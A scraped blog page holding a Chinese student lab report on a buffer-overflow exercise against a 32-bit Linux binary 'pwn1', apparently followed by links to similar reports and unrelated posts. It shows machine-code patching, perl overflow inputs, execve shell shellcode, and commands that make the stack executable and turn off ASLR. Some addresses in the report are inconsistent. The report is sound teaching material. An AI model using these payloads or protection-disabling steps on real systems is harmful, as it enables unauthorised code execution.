1.实践目的

本次实践的对象是一个名为pwn1的linux可执行文件。

三个实践内容如下:

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。 注入一个自己制作的shellcode并运行这段shellcode。
目的如下
运行原本不可访问的代码片段
强行修改程序执行流 以及注入运行任意代码。
老师的问题
掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
NOP:90
JNE:75
JE:74
JMP:E9 EA EB CMP:38(CMP reg8/mem8,reg8)39(CMP reg16/mem16,reg16)3A(CMP reg8,reg8/mem8)3B(CMP reg16,reg16/mem16)3C(CMP al,immed8)3D(CMP ax,immed16)
什么是漏洞?
我认为漏洞就是在设计上因为逻辑问题而出现的不应该出现的错误,或者说是因为编程的时候考虑不周全而出现的错误,再有就是可能因为硬件问题而导致的固有的一些问题,比如说32位机器和64位机器所导致的一些不可避免的问题,漏洞的危害当然就是导致一些程序出错,或者说导致泄密和获取不应该获取的权限。 实验收获与感想
本次实验让我充分了解了缓冲器溢出的原理与危害以及如何制造缓冲区溢出攻击,通过自己的亲自动手操作,深刻理解了直接修改程序机器指令从而达到自己想要的目的的过程,通过不合法的输入从而导致了修改函数的返回地址,从未执行另一个程序。shenllcode注入的目的就是使返回地址指向shellcode,从而造成攻击

实验一

1.首先把这个文件权限提高,使用chmod +x pwn1变成可执行

2.使用objdump -d pwn1,反汇编pwn1文件

看80484b5: e8 d7 ff ff ff call 8048491 这条指令调用08048491处的foo函数

如果想让函数调用getShell,只需要修改d7 ff ff ff即可。根据foo函数与getShell地址的偏移量,计算地址

0x08048491 - 0x0804847d = 0x00000014 //计算地址差

0xffffffd7 - 0x00000014 = 0xffffffc3 //计算要篡改的目标地址

使用vi编辑文件,进去之后是乱码,然后使用:%!xxd转换为16进制找到d7然后修改为c3

在使用:%!xxd -r换回乱码。保存之后退出

看到已经成功保存了

执行程序pwn1获得结果

实验二

通过构造输入参数,造成BOF攻击,改变程序执行流

通过不合法的输入造成把函数的返回地址进行修改使程序执行其他的代码

先使用gdb进行调试程序,先运行程序,然后输入一大串字符abcdefghijklmnopqrstuvwxyz1234567890

得到一个结果

发生段错误,得到一个错误的返回地址0x30393837

因为我们的是小端机器,所以说明是后面四位发生了溢出,那么我们如果想要让他跳转到其他地方就需要修改后四位地址

那我们只需要把最后四位写为\xd7\x84\x04\x08(即shellcode的起始地址0x080484d7)就OK了

使用:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input管道命令

然后就攻击成功了

实验三

shellcode就是一段机器指令(code)

通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),

所以这段机器指令被称为shellcode。

在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

开始之前首先要设置堆栈可执行

execstack -s pwn1 //设置堆栈可执行

execstack -q pwn1 //查询文件的堆栈是否可执行

若不能成功则使用apt-get install execstack进行更新

然后查询一下是否可执行若为X pwn1则为可执行

然后我们还需要关闭地址随机化

使用echo "0" > /proc/sys/kernel/randomize_va_space即可关闭,否则每次执行esp的值都会发生变化

然后构造一个构造一个input_shellcode

perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

一个窗口运行(cat input_shellcode;cat) | ./pwn1

另一个窗口运行ps -ef | grep pwn可以查看到当前进程号

然后在gdb里面attach 进程号

(gdb) disassemble foo反编译查看地址

得到0xffffd21c

计算d2c+0004为d220

然后修改input_shellcode

最终攻击成功

2018-2019-2 网络对抗技术 20165304 Exp1 PC平台逆向破解(BOF实验)的更多相关文章

  1. 20165221 《网络对抗技术》EXP1 PC平台逆向破解

    20165221 <网络对抗技术>EXP1 PC平台逆向破解 一.实验内容 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函 ...

  2. 2018-2019-2 20165205 《网络对抗技术》 Exp1 PC平台逆向破解

    2018-2019-2 20165205 <网络对抗技术> Exp1 PC平台逆向破解 1. 实验任务 1.1实验概括 用一个pwn1文件. 该程序正常执行流程是:main调用foo函数, ...

  3. 2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165325 Exp1 PC平台逆向破解(BOF实验) 实验有三个模块: (一)直接修改程序机器指令,改变程序执行流程: (二)通过构造输入参数,造成BOF攻 ...

  4. 2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解

    - 2018-2019-2 20165206<网络对抗技术>Exp1 PC平台逆向破解 - 实验任务 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:mai ...

  5. 2018-2019-2 20165317《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165317<网络对抗技术>Exp1 PC平台逆向破解 实验目的 掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码 NOP:无作用,英文&quo ...

  6. 2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165336 Exp1 PC平台逆向破解 1. 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件.该程序正常 ...

  7. 2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解

    2018-2019-2 网络对抗技术 20165305 Exp1 PC平台逆向破解 实验1-1直接修改程序机器指令,改变程序执行流程 先输入objdump -d 20165305pwn2查看反汇编代码 ...

  8. 2018-2019-2 《网络对抗技术》 Exp1 PC平台逆向破解 20165215

    2018-2019-2 <网络对抗技术> Exp1 PC平台逆向破解 20165215 目录 知识点描述 实验步骤 (一)直接修改程序机器指令,改变程序执行流程 (二)通过构造输入参数,造 ...

  9. 2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解

    2018-2019-2 20165316 <网络对抗技术>Exp1 PC平台逆向破解 1 逆向及Bof基础实践说明 1.1 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件 ...

随机推荐

  1. 用vs2010打开使用vs2013升级后的WP工程

    项目在win7+vs2010的环境中建立的,后来在win8.1+vs2013的环境下修改和完善: 但是所有功能实现后发现wp7项目在使用vs2013打开后因为单向升级的原因,项目只能被编译为wp8项目 ...

  2. etectMultiScale(gray, 1.2,3,CV_HAAR_SCALE_IMAGE,Size(30, 30))

    # 函数原型detectMultiScale(gray, 1.2,3,CV_HAAR_SCALE_IMAGE,Size(30, 30)) # gray需要识别的图片 # 1.03:表示每次图像尺寸减小 ...

  3. Kali无法启动、无法安装

    好久未用Kali,换了个电脑后拷贝过去,发现打开登录界面无限循环,后删除下载新的vm镜像,发现无法开机,界面如下: 后经过各种尝试,发现为vmware版本太低的原因造成,升级vmware到版本14,可 ...

  4. js入门 关于js属性及其数据类型(详解)

    1. js的本质就是处理数据.数据来自于后台的数据库. 所以变量就起到一个临时存储数据的作用. ECMAScript制定了js的数据类型. 数据类型有哪些? 1. 字符串   String 2. 数字 ...

  5. 【转载】Office软件自定义功能区不完全显示修复方法

    转载地址:http://www.doudouxitong.net/guzhang/xitongjiqiao/2015/0603/8822.html 豆豆系统 Office是比较常用的办公软件,我们也会 ...

  6. Spring Boot 全局异常处理

    Spring Boot版本 1.5 @ControllerAdvice public class GlobalExceptionHandler extends ResponseEntityExcept ...

  7. Linux中安装nodejs及插件

    Linux中安装nodejs及插件 1.去官网下载安装包 英文网址:https://nodejs.org/en/download/ 中文网址:http://nodejs.cn/download/ 通过 ...

  8. Unity外包团队:U3D与UE我选哪个好?请别再问这种问题了!

    原本预先决定的两家VR游戏公司采访,思熊和星为棋,并没有发现什么共性之初.结果在采访之后却意外发现,两家的经历有着非常相似的地方.他们都是来自于开发游戏所用的引擎的原开发商,比如思熊的主力来自Epic ...

  9. reshape的两个函数melt和dcast

    reshape Reshape包主要是用来做数据变形的.其中主要的有两个函数melt和dcast1.其中melt主要用于宽变长,而dcast1主要用于长变宽.melt和dcast1是reshape2包 ...

  10. [转]Github 下载指定文件夹

    来自:https://blog.csdn.net/qq_35860352/article/details/80313078 操作步骤 step1:转换链接地址 点开”/examples”子文件,复制浏 ...